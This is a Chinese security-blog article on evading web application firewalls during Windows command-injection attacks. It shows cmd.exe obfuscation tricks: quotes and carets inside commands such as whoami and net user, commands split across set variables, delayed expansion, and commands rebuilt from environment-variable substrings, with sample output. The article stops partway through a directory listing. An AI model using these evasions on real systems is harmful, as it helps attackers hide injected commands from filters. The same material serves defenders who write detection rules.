绕过WAF运行命令执行漏洞的方法

声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。 这篇文章由“潇湘信安技术交流群”@嘞萌师傅投稿，@3h整理发布，感谢分享！ 0x01 Windows（不区分大小写） 1.1 符号和命令的关系 如果命令执行的时候遇到拦截命令关键词的时候可以利用如下方法绕过： "和^是CMD命令中最常见的转义字符，还有成对的括号并不会影响命令的执行。 这里有几个需要注意的地方： 在命令中可以有无数个"，但是不能有两个连续的^在命令中如果"在^之前，则"的个数必须为偶数个在命令中如果"在^之后，并且带有参数，则命令中的"个数必须为偶数在命令的参数中，单个字符前后"的个数只能有一个或者两个如果成对的括号中间有"则"的个数也必须为偶数 whoami //正确执行WhOAmi //正确执行Who"amI //正确执行((Who"amI)) //错误((Who""amI)) //正确执行Who""""""""amI //正确执行who"""a^mi //错误who""""a^mi //正确执行whoa^m""""i //正确执行whoa^m"""i //正确执行whoa^^mi //错误n^e^t user //正确执行n^e^t"" user //正确执行n^e^t""" user //错误n^e^t"" u"ser //正确执行n^e^t"" u""ser //正确执行n^e^t"" u"""ser //错误n^e^t"" u""s"er //正确执行n^e^t"" u""s""er //正确执行n^e^t"" u""s"""er //错误 1.2 了解set命令和Windows变量 在cmd中set用来进行变量赋值，而%%括起来的变量会引用其赋的值。 这样就可以进行命令执行了 set cmd=whoami //赋值变量为whoami%cmd% //执行命令 也可以赋值多个变量，拼接利用 set cmd1=whoset cmd2=amset cmd3=i%cmd1%%cmd2%%cmd3% set cmd1=whoset cmd3=i%cmd1%am%cmd3% 也可以与1.2的内容进行合并 set cmd1=wh""oset cmd3=i"""%cmd1%a^m%cmd3% 也可以在赋值的时候加入空格 set cmd1=s""erset cmd2=t uset cmd3=n^e%cmd3%%cmd2%%cmd1% Cmd /C "set cmd1=s""er && set cmd2=t u && set cmd3=n^e && call %cmd3%%cmd2%%cmd1%" 当使用cmd /V:ON或cmd /V:O时可以不使用call命令来扩展变量，使用 %var% 或 !var! 来扩展变量，!var!可以用来代替%var% cmd /V:ON /C "set cmd=net user && !cmd!"cmd /V:O /C "set cmd=net user && !cmd!" 1.3 Windows切割字符串拿whoami举例，实践Windows切割字符串的语法 set cmd=whoami %cmd:~0% //取出a的值中的所有字符此时正常执行whoami%cmd:~0,1% //取出a的值，从第0个位置开始，取1个值此时因为w总共就1个字符%cmd:~0,6% //取出a的值，从第0个位置开始，取6个值此时因为whoami总共就6个字符 由此可以看出来截取字符串的语法为%变量名:~x,y%即从变量第x位开始，截取y个字符。 C:Usersa>set str=0123456789 C:Usersa>echo %str:~-1%9从最后1位开始取整个字符串C:Usersa>echo %str:~-6%456789从倒数第6位开始取整个字符串C:Usersa>echo %str:~-9%123456789从倒数第9位开始取整个字符串C:Usersa>echo %str:~-9,2%12从倒数第9位开始取2位C:Usersa>echo %str:~-9,4%1234从倒数第9位开始取4位C:Usersa>echo %str:~-9,-2%1234567从倒数第9位开始少取最后2位C:Usersa>echo %str:~-9,-4%12345从倒数第9位开始少取最后4位 既然已经熟悉了如何切割字符，那么我们来看一下都有什么环境变量可以用 我们可以拼命令了 C:Usersa>echo %COMPUTERNAME:~0,1%h%windir:~-3,1%%HOMEPATH:~-1%miWhoami C:Usersa>%COMPUTERNAME:~0,1%h%windir:~-3,1%%HOMEPATH:~-1%miwin-tbucg5qo47ja C:Usersa>d^i^r%CommonProgramFiles:~10,1%%commonprogramfiles:~0,3% 驱动器 C 中的卷没有标签。 卷的序列号是 5CE5-9A63 C: 的目录 2022/03/12 00:20